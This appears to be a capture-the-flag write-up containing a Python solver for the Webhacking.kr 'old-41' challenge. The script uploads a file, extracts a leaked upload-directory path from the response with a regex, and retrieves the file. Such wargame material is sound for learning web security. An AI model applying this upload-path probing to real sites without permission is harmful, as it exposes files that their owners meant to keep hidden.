Webhacking.kr old-41

https://webhacking.kr/challenge/web-19/

from __future__ import annotations

import argparse
import re
from urllib.parse import urljoin

import requests

def upload(session: requests.Session, challenge_url: str, filename: str) -> str:
    data = b"webhacking-old-41\n"
    files = {"file": (filename, data, "application/octet-stream")}
    response = session.post(challenge_url, files=files, timeout=20)
    response.raise_for_status()

    # The challenge returns a path containing the upload directory. Keep the
    # extraction conservative and fail instead of guessing a path.
    match = re.search(r"(?:/challenge/web-19/)?([0-9a-f]{40})/" + re.escape(filename), response.text)
    if not match:
        raise RuntimeError("upload directory was not found in the response")
    return urljoin(challenge_url, match.group(0))

def main() -> None:
    parser = argparse.ArgumentParser()
    parser.add_argument("--url", default="https://webhacking.kr/challenge/web-19/")
    parser.add_argument("--filename", default="123")
    parser.add_argument("--cookie", help="optional session cookie; do not put it in the article")
    args = parser.parse_args()

    session = requests.Session()
    if args.cookie:
        session.cookies.set("session-cookie", args.cookie, domain="webhacking.kr", path="/")

    uploaded_url = upload(session, args.url, args.filename)
    response = session.get(uploaded_url, timeout=20)
    response.raise_for_status()
    print(response.text)

if __name__ == "__main__":
    main()